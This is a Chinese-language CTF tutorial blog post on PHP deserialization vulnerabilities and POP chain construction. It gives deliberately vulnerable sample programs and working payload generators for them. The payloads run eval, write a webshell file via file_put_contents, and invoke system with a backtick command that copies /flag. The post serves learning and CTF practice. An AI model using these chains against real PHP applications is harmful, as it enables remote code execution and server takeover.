avatar

目录
PHP反序列化漏洞与POP链的构造

构造POP链

        首先,如果想要利用PHP的反序列化漏洞一般需要两个条件:

  1. unserialize()函数参数可控。(还可以结合Phar://协议)
  2. 魔法方法和危险函数。

        可是,在ctf题目中,我们常常会发现想要利用的危险函数并不在有魔法方法的类中,而此时就要构造POP链(控制程序执行流程的链),让没有关系的类扯上关系。

构造思路

  • 能控制反序列化的点
  • 反序列化类有魔术方法
  • 魔术方法里有敏感操作(常规思路)
  • 魔术方法里无敏感操作,但是通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(POP链)

简单例子

        来自lemon师傅:


class lemon {
    protected $ClassObj;

    function __construct() {
        $this->ClassObj = new normal();
    }

    function __destruct() {
        $this->ClassObj->action();
    }
}

class normal {
    function action() {
        echo "hello";
    }
}

class evil {
    private $data;
    function action() {
        eval($this->data);
    }
}

unserialize($_GET['d']);

        可以看到,在程序最后有反序列化函数并且参数d可控,下来在类中寻找危险函数。在evil函数中存在危险函数eval(),同时在lemon类中发现魔法方法__construct()和__destruct()。

        分析一下,在lemon类新建的时候,__construct()创建了一个normal类的对象,并在lemon类销毁的时候,__destruct()会调用normal类中的action()方法。但可以看到,在evil类中,同样有action()方法,而且其中还有危险函数eval()。

        如果我们在lemon类新建的时候,将__construct()新建的对象改为evil的对象,就可以利用危险函数了。

        payload:


class lemon {
    protected $ClassObj;
    function __construct() {
        $this->ClassObj = new evil();
    }
}
class evil {
    private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));

进阶例子

        来自lemon师傅:


class OutputFilter {
  protected $matchPattern;
  protected $replacement;
  function __construct($pattern, $repl) {
    $this->matchPattern = $pattern;
    $this->replacement = $repl;
  }
  function filter($data) {
    return preg_replace($this->matchPattern, $this->replacement, $data);
  }
};
class LogFileFormat {
  protected $filters;
  protected $endl;
  function __construct($filters, $endl) {
    $this->filters = $filters;
    $this->endl = $endl;
  }
  function format($txt) {
    foreach ($this->filters as $filter) {
      $txt = $filter->filter($txt);
    }
    $txt = str_replace('\n', $this->endl, $txt);
    return $txt;
  }
};
class LogWriter_File {
  protected $filename;
  protected $format;
  function __construct($filename, $format) {
    $this->filename = str_replace("..", "__", str_replace("/", "_", $filename));
    $this->format = $format;
  }
  function writeLog($txt) {
    $txt = $this->format->format($txt);
    //TODO: Modify the address here, and delete this TODO.
    file_put_contents("E:\\WWW\\test\\ctf" . $this->filename, $txt, FILE_APPEND);
  }
};
class Logger {
  protected $logwriter;//这里装入LogWriter_File对象
  function __construct($writer) {
    $this->logwriter = $writer;
  }
  function log($txt) {//这里偷梁换柱Song的log
    $this->logwriter->writeLog($txt);
  }
};
class Song {
  protected $logger;
  protected $name;
  protected $group;
  protected $url;
  function __construct($name, $group, $url) {
    $this->name = $name;
    $this->group = $group;
    $this->url = $url;
    $fltr = new OutputFilter("/\[i\](.*)\[\/i\]/i", "\\1");
    $this->logger = new Logger(new LogWriter_File("song_views", new LogFileFormat(array($fltr), "\n")));
  }
  function __toString() {
    return " . $this->url . "">" . $this->url . ""> . $this->name . " by " . $this->group;
  }
  function log() {
    $this->logger->log("Song " . $this->name . " by [i]" . $this->group . "[/i] viewed.\n");
  }
  function get_name() {
      return $this->name;
  }
}
class Lyrics {
  protected $lyrics;
  protected $song;
  function __construct($lyrics, $song) {
    $this->song = $song;
    $this->lyrics = $lyrics;
  }
  function __toString() {
    return "

" . $this->song->__toString() . "

" . str_replace("\n", "
"
, $this->lyrics) . "

\n"
; } function __destruct() { $this->song->log(); } function shortForm() { return "

. urlencode($this->song->get_name()) . "">" . $this->song->get_name() . "

"
; } function name_is($name) { return $this->song->get_name() === $name; } }; class User { static function addLyrics($lyrics) { $oldlyrics = array(); if (isset($_COOKIE['lyrics'])) { $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics'])); } foreach ($lyrics as $lyric) $oldlyrics []= $lyric; setcookie('lyrics', base64_encode(serialize($oldlyrics))); } static function getLyrics() { if (isset($_COOKIE['lyrics'])) { return unserialize(base64_decode($_COOKIE['lyrics'])); } else { setcookie('lyrics', base64_encode(serialize(array(1, 2)))); return array(1, 2); } } }; class Porter { static function exportData($lyrics) { return base64_encode(serialize($lyrics)); } static function importData($lyrics) { return serialize(base64_decode($lyrics)); } }; class Conn { protected $conn; function __construct($dbuser, $dbpass, $db) { $this->conn = mysqli_connect("localhost", $dbuser, $dbpass, $db); } function getLyrics($lyrics) { $r = array(); foreach ($lyrics as $lyric) { $s = intval($lyric); $result = $this->conn->query("SELECT data FROM lyrics WHERE id=$s"); while (($row = $result->fetch_row()) != NULL) { $r []= unserialize(base64_decode($row[0])); } } return $r; } function addLyrics($lyrics) { $ids = array(); foreach ($lyrics as $lyric) { $this->conn->query("INSERT INTO lyrics (data) VALUES (\"" . base64_encode(serialize($lyric)) . "\")"); $res = $this->conn->query("SELECT MAX(id) FROM lyrics"); $id= $res->fetch_row(); $ids[]= intval($id[0]); } echo var_dump($ids); return $ids; } function __destruct() { $this->conn->close(); $this->conn = NULL; } }; unserialize($_GET['cmd']);

        可以看到,代码很长,还是从反序列化点和危险函数找起来比较好。可以看到User类中$oldlyrics = unserialize(base64_decode($_COOKIE['lyrics'])),这个cookie是可控的。

class User {
  static function addLyrics($lyrics) {
    $oldlyrics = array();
    if (isset($_COOKIE['lyrics'])) {
      $oldlyrics = unserialize(base64_decode($_COOKIE['lyrics']));
    }
    foreach ($lyrics as $lyric) $oldlyrics []= $lyric;
    setcookie('lyrics', base64_encode(serialize($oldlyrics)));
  }
  static function getLyrics() {
    if (isset($_COOKIE['lyrics'])) {
      return unserialize(base64_decode($_COOKIE['lyrics']));
    }
    else {
      setcookie('lyrics', base64_encode(serialize(array(1, 2))));
      return array(1, 2);
    }
  }
};

        还有程序最后的unserialize($_GET['cmd']);,也是可控的参数与反序列化点,下来寻找的危险函数。

  1. LogWriter_File类中的file_put_contents函数,可以用来写木马。
  2. OutputFilter类中,由于preg_replace函数pattern可控,如果在PHP版本不高于5.5的情况下可以执行命令。

        因为PHP的版本不确定,这里分析file_put_contents函数的POP链构造。构造方向可以是从可控点到危险函数,也可以是从危险函数到参数可控点。正反都可以,这样有条理一点。

        一个可控的unserialize点可以让我们控制{当前的定义的类或者自动加载能找到的类}的属性(这个对象属性也可以是一个对象)。这里正着来,去寻找魔法方法。

        在Lyrics类中,可以看到两个魔法方法:

function __toString() {
    return "

" . $this->song->__toString() . "

" . str_replace("\n", "
"
, $this->lyrics) . "

\n"
; } function __destruct() { $this->song->log(); }

        这两个魔法方法虽没有敏感操作,但可以看到__destruct()中调用了log()方法,且log()方法存在于Song类和Logger类中。Song类中的log()方法只是简单拼接字符串,并不能继续深入;而Logger类中的log()方法又调用了LogWriter_File类的writeLog()方法,file_put_contents()又正好在这个方法中。所以构造POP链如下:

User类中可控的反序列化点lyrics => Logger类的log()方法 => LogWriter_File类的writeLog()方法 => 危险函数file_put_contents()

        下来写payload,新建一个Lyrics对象将它的song属性填充成Logger对象,再把logger对象的logwriter的属性填充成LogWriter_File对象,最后传送给cookie,在Lyrics对象被销毁的时候就可以触发__destruct()。


$arr = array(new OutputFilter("//",""));
$obj1 = new LogFileFormat($arr,'\n');
$obj2 = new LogWriter_File("shell.php",$obj1);
$obj3 = new Logger($obj2);
$obj = new Lyrics("2333",$obj3);
echo urlencode(serialize($obj));

        再get一次,就可以拿到shell。

练习

        再拿一到buuctf的红包题来练习一下。


error_reporting(0);
# 入口: A::__destruct
class A {
    protected $store;
    protected $key;
    protected $expire;

    public function __construct($store) {
        $this->key = $key; # 文件名
        $this->expire = $expire;
        $this->store = $store; # class B
    }

    public function cleanContents(array $contents) {  # $cache为数组
        $cachedProperties = array_flip([  # 交换数组中的键和值
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        /*foreach ( $array as $key =>  $value ) { 
            // (do something with $key and/or $value here 
        }*/
        foreach ($contents as $path => $object) {
            if (is_array($object)) { # 检查$object的值是否为数组,如果不是,则此循环没用
                $contents[$path] = array_intersect_key($object, $cachedProperties);  
                # array_intersect_key() 返回一个数组,数组内容是两个参数数组中键名的交集 
            }
        }

        return $contents;
    }//审计后发现这个函数功能是返回数组,$object不为数组,输入即输出

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache); # 需要自己构造 $cache

        return json_encode([$cleaned, $this->complete]); # 需要自己构造 $complete
    }

    public function save() {
        $contents = $this->getForStorage();
        # 文件名,文件内容,过期时间
        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save(); # 入口
        }
    }

}

class B {
    protected function getExpireTime($expire): int {
        return (int) $expire;
    }
    # 获取$name,过滤.php,返回随机name
    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name; # 需要自己构造 options['prefix']
        #strlen()第二个参数为负数 - 在从字符串结尾的指定位置开始,这里从倒数第四个字符开始计算
        if(substr($cache_filename, -strlen('.php')) === '.php') { # 过滤后缀 .php
          die('?');
        }
        return $cache_filename;
    }
    # string or 序列化 data
    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }
        # 如果data是整型变量,则转为字符串返回,否则序列化后返回
        $serialize = $this->options['serialize'];  # 需要自己构造 options['serialize']
        return $serialize($data);
    }
    # $this->key, $contents, $this->expire
    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);  # 返回路径中的目录部分

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        # %012d 生成12位数,不足前面补0
        $data = "\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; # 死亡exit

        $result = file_put_contents($filename, $data); # shell写入

        if ($result) {
            return $filename;
        }

        return null;
    }
}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

        代码还是很长,因为有一些不知道的php用法,这次一一差文档,做了注释。之后,先去找危险函数,看到类B中的set()方法中有危险函数file_put_contents()和可控的$this->options['serialize'];,但不能直接应用。下来去找魔法方法,类A中的__construct()用来构造初始化,不能深入;__destruct()中调用了save()方法,而save()方法中又调用了set()方法,若将$this->store->set($this->key, $contents, $this->expire);中的$store改为B对象,就可以指向类B的set()方法,进而利用危险函数。所以,构造POP链如下:

A类中__destruct()方法 => A类的save()方法 => save()方法中的set()方法 => B类中的set()方法 => 危险函数file_put_contents()或者$this->options['serialize'];

        从整个POP链流程开始,跟据函数流程,来控制要修改或者添加的参数,可以写出payload,这里利用的是php特性:

当使用system(xxxxxx)的时候, xxxx中如果有反引号包裹的东西那么这块部分会被优先执行

        payload:


    error_reporting(0);
    class A {
        protected $store;
        protected $key;
        protected $expire;
        public function __construct() {
            $this->key = "1";#使类B中的name不为null
            $this->expire = 1; #使类B中的expire不为null
            $this->autosave = false;#在__destruct()中进入save()函数
            $this->cache = ["aaa"=>'`cat /flag > ./hello`'];//将flag输出到hello文件中,
            $this->complete = true;
            $this->store = new B();
        }
    }

    class B {

        public function __construct()
        {
            $this->options = [
                'serialize' => 'system',# 赋值为system,利用system特性
                'data_compress' => false,# 使数据不被压缩
                'prefix' => "bbb"# 随便给出名字
            ];
        }
    }
    $a = new A();
    echo urlencode(serialize($a));

        将内容以get方式提交给data,再去访问hello文件,即可获取flag。这道题目还有许多其他方法,在下面博客里面也都有,这里先不写了。

        原先以为这种大块代码的内容很麻烦,但要是把一些关键函数都了解一下,能够有条理地分析的话,这样的题目还是比较简单的,因为源码都给出来了,也不用各种猜。但还是有不熟练的地方,望以后碰到这种题目能够做出来。

参考
1.http://redteam.today/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/
2.https://blog.szfszf.top/tech/php-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96pop%E9%93%BE%E7%9A%84%E6%9E%84%E9%80%A0%E4%B8%8E%E7%90%86%E8%A7%A3/
3.http://www.gtfly.top/2020/01/29/2020BuuCTF%E6%96%B0%E6%98%A5%E7%BA%A2%E5%8C%85%E9%A2%98.html

文章作者: crownZ
文章链接: https://crownz-sec.github.io/2020/02/17/php_pop/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 crownZ's Blog

评论